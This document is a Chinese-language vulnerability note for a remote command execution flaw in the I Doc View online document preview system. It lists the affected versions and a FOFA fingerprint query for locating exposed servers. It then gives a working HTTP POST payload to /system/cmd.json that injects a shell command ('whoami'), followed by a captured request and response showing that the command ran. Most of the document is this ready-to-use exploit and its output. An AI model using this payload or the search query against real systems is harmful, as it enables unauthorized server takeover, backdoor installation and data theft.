# I4-1IDocView-在线文档解析应用-RCE

## 漏洞描述:

I Doc View在线文档预览系统 cmd.json接口处存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

#### 影响版本:

I Doc View < 13.10.1 20231115

#### 网站图片:

I Doc View

# 在线文档预览、压缩文件预览、图纸预览、图片预协作编辑、同步展示等 - I Doc View

#### 支持格式

文档类: doc, docx, xls, xlsx, ppt, pptx, pdf, txt

图片类: jpg, gif, png, bmp, tif 音频类: mp3, m4a, midi, wma 压缩文件类: zip, rar, tar, 7z 图纸类: dwg, dxf, dwf

Version: 7.3.11\_20170502

## 网络测绘:

### fofa语法:

FOFA: title="在线文档预览 - I Doc View"

## 漏洞复现:

## payload:

POST /system/cmd.json HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded

cmd=echo+%26+%28whoami%29+%26

#### 效果图:

```
〈 〉 数据包扫描 热加载 构造请求 😯
                                                                                                                       Responses 320bytes / 79ms
Request
1 POST /system/cmd.json HTTP/1.1
                                                                                                                        1 HTTP/1.1 200 OK
                                                                                                                              Date: Sun, 24 Dec 2023 07:34:38 GMT
       Host ?:
      Accept-Encoding: gzip
                                                                                                                              Server: Apache-Coyote/1.1
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like-Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                             Content-Type: application/json; charset=ut
Access-Control-Allow-Origin: *
       Content-Type: application/x-www-form-urlencoded
      cmd=echo+%26+%28whoami%29+%26
                                                                                                                              {"code":"1","data":"<br/>%diams;&bull;&bu
                                                                                                                               echo-&-(whoami)-&->>>>&gt:&et:
                                                                                                                              #24320;状态。<br/>/>iz94r
lt;<&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt
```